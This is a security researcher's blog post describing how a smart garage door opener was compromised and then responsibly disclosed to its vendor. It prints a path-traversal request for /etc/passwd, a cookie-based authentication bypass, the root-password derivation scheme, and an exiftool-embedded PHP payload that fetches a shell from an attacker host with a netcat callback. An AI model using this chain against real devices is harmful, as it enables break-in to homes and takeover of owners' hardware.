Blog: Internet Of Things

Pwning smart garage door openers

Alex Lomas 07 Jul 2020

TL;DR

We reversed a smart garage door opener, which appeared pretty secure at first:

The firmware was encrypted, debug access was restricted, the web server wasn’t running as root, it had unique passwords per device

But we found a way in, allowing us to open all the garage doors

…And made it play fart noises

It was cold outside, so we did the demo from inside the garage 😊

The iSmartgate garage door opener

Our hardware team were chatting recently and trying to find some new embedded devices to look at. I’d spotted a garage door opener that promised integration with common smart speakers, HomeKit, and somehow full remote access without there being any cloud servers.

The device is designed to connect to WiFi and is either accessed locally through browser and mobile app, or can be exposed to the internet for remote access (including Alexa/Google Home). Although there is no central cloud service per-se, the makers of iSmartgate, REMSOL, operate infrastructure to facilitate this remote access based on the open source service Pagekite. Pagekite tunnels local services via dynamic DNS and a pagekite server to bypass NAT. This connectivity is encrypted, however the TLS is terminated on servers that REMSOL control before being re-encrypted down the Pagekite tunnel. The iSmartgate devices are therefore somewhat directly exposed to the internet if their names can be found.

Sounds interesting but the price (£200 or so) was perhaps just a bit high to justify going out and getting one just yet. So what can we look at first? Sadly, no firmware download links, and a few scant details in the online documentation, but there is a mobile app, so let’s pull that apart first.

There was no obfuscation so the APK decompiled reasonably well with JADX, and what we found was perhaps not ideal.

This little snippet shows the mobile API creating an authentication token based on particular characters lifted from the SHA1 hash of a user’s password. Not bad, not great. Unusual.

OK, so what can the FCC filings tell us? Not a great deal in this case as there are no full filings for the hub device itself, only peripheral sensors that are used to monitor the position of the gate or door. This is likely because they’re using an existing plug in module for RF / WiFi, so we’re not going to get nice internal shots of the board etc. Worth checking, but now we pay our money and wait for the lovely courier to drop the gear off.

The hub comes apart quite easily without any damage, and shows the RF module at the top left, four nice-looking pads on the left, (poorly soldered headers: model’s own) and the meat of the machine is a Freescale iMX and eMMC flash.

Connecting to the bottom two test pads handily labelled Tx/Rx gets us UART, which is listening to keyboard inputs, but is sadly set to automatically skip over the U-Boot loader straight into the active partition. We get a login prompt, but no joy with any weak/standard credentials.

Perhaps we can dump the file system from the eMMC but it might be a chip-off job and potentially destructive so let’s not go there just yet. Besides the iMX series has some fairly decent readout protection, so if that’s on, we may be out of luck anyway.

With the device powered up and configured, we see that there’s functionality in its web interface to trigger a firmware update. Setting up the device to connect to an access point under Linux we can use iptables to NAT HTTP(S) connections through Burp and figure out what it’s doing when this update runs. OK, so it fetches https://update.ismartgate.com/firmware/new_firmware_ismartgate.tar – but curses, this is encrypted. So far, the vendors are doing everything right!

Web Interface

After a bit of poking around we found a local file inclusion vulnerability at /imgVideo.php?img=../../../../../etc/passwd which allowed us to read from the local file system, although it seemed that privilege separation was in place such that the web server wasn’t running as root so no direct downloading of the shadow file was possible.

However, we could download the source for any of the PHP files so we could start to understand the application logic and determine if there were any source code issues. We found that the update process executed a script at /ISGv2/scripts/download_update.sh which we could then download via the LFI vulnerability.

Within this we found a private key, and key password, that the process used for decrypting the contents of the .tar:

if $DESEMPAQUETAR
then
	echo "** Borrar paquete new_firmware.tar"
	rm -rf /ISGv2/update/new_firmware.tar
	
	echo "** Desencriptar clave random"
	DESENCRIPTAR="openssl rsautl -decrypt -in /ISGv2/update/key.bin.enc -out /ISGv2/update/key.bin -inkey $PRIVATE_KEY_ISG -passin pass:XXXXXXX"
	
	if $DESENCRIPTAR
	then
		echo "** Clave random desencriptada"
		echo "** Desencriptar archivo"
		DESENCRIPTAR2="openssl enc -d -md md5 -aes-256-cbc -in /ISGv2/update/firmware.tar.enc -out /ISGv2/update/firmware.tar -pass file:/ISGv2/update/key.bin"
tar -pass file:/ISGv2/update/key.bin"

So now we can decrypt the firmware update ourselves, and although it was only a diff rather than a full firmware, this gives us some more information about the directories and files on the device.

One of the unpacked files was a Linux binary named “ISGv2.1” which we can run a simple strings on to find factory provisioning instructions including a mechanism for setting the root password. This is unique per device but is unfortunately simply a SHA1 of the device’s ID + the (redacted) static phrase REMSOL2019xxxxxxxxxxxxxxxxx

The device’s ID (UDI as they call it) is exposed in the web interface, local text files, the remote access FQDN, and in UDP broadcast packets on the local network sent from the device to port 8005 (these are used to locate the hubs by mobile apps).

At this point we can log in via UART or SSH directly as root if we’re on the same local network, but perhaps we can find other remotely exploitable vulnerabilities now we can see inside the black box itself.

Firstly, we found that many pages didn’t require authentication. A page at /viewHorari.php allowed us to enumerate any local users that had been configured. Although a CAPTCHA was present to restrict brute force, another unauthenticated page at /isg/deleteCustomImage.php allowed us to delete the CAPTCHA restrictions at /tmp/captcha_login.txt (or indeed delete the database and brick the device if we were feeling mean).

If a user had never used the “remember me” option to login, a logic flaw was found where two magic cookies could be set and bypass the need for authentication entirely:

if(isset($_COOKIE[$nomCookie]) && isset($_COOKIE[$nomCookie2])){
        $db = new PDO('sqlite:/ISGv2/db.users');
 
        $login = base64_decode($_COOKIE[$nomCookie]);
        $valor_cookie = $_COOKIE[$nomCookie2];
 
        $sql = "select * from users where login='".$login."'";
        //echo $sql;
        $res1 = $db->query($sql);
        foreach ($res1 as $row){
               if ($row['cookie'] == $valor_cookie){ // cookie ok
                      $_SESSION['ipOK'] = $_SERVER['REMOTE_ADDR'];
                      $_SESSION['user'] = $login;
               }
        }
}

Two cookies need to be set:

  • gggsess-[sha1(md5(FacE6c5$UDI))] = base64(username)
    Where the username can be found from above and $UDI is the remote access server name or can be found from the UDP broadcasts on the local subnet as before.
  • gggmark-[sha1(md5(FacE6c5$UDI))]
    This is left blank.

So now we have authentication bypass or can brute force our way in.

The device allows you to upload image files that depict the state of your garage doors or gates (either open or closed) and this mechanism does check for valid images, however we can generate our own exploit with exiftool:

exiftool -DocumentName=”<?php shell_exec(‘wget http://attacker-server:12345/shell.php’); __halt_compiler(); ?>” pentest-partners.jpg

Once uploaded, we await a callback with netcat and can escalate to root using the easily determined root password from before.

Disclosure

The vendor was oddly non-responsive, then super-responsive:

We emailed on 8th April, asking where we could report a security flaw to. No response.

Given the pandemic, we weren’t going to push hard, but their Twitter feed was being updated regularly with promotional messages.

We emailed again on 30th April, noting that they had time to update social media but not to reply to a simple email from us

Then everything changed: we had a reply in 20 minutes asking for details, which we then sent.

The following day we received new firmware which fixed the LFI. Wow!

We think that our original email had been received and acted upon, but no-one had thought to reply to us confirming that!

Anyway, they were friendly and grateful, even offering us some free devices. We politely declined, but came away feeling that everyone had ‘won’: the vendor acted responsibly and made changes for the better, we felt that we had made a positive difference and their customers security was improved as a result.

Gogogate asked if we would delay publication for 90 days, given users would need to update. We agreed, so here we are on 7th July, 90 days later

Conclusion

The vendors had taken several simple precautions to secure their product, ones that we’d often advise doing in a paid test:

  • Encrypt firmware
  • Restricting debug channels (such as JTAG and UART)
  • Segregation of privileges (running the web server with something other than root)
  • Unique passwords per device

However, a small chink in the armour – local file inclusion in this case – was enough to find logic flaws that eventually allowed us to get complete unauthenticated remote code execution to root.

There are lots more interesting findings on this device and it’s a fun little thing to explore as a teaching tool.

Once pwned, we could get it to play arbitrary audio files, so could make it fart at the owner: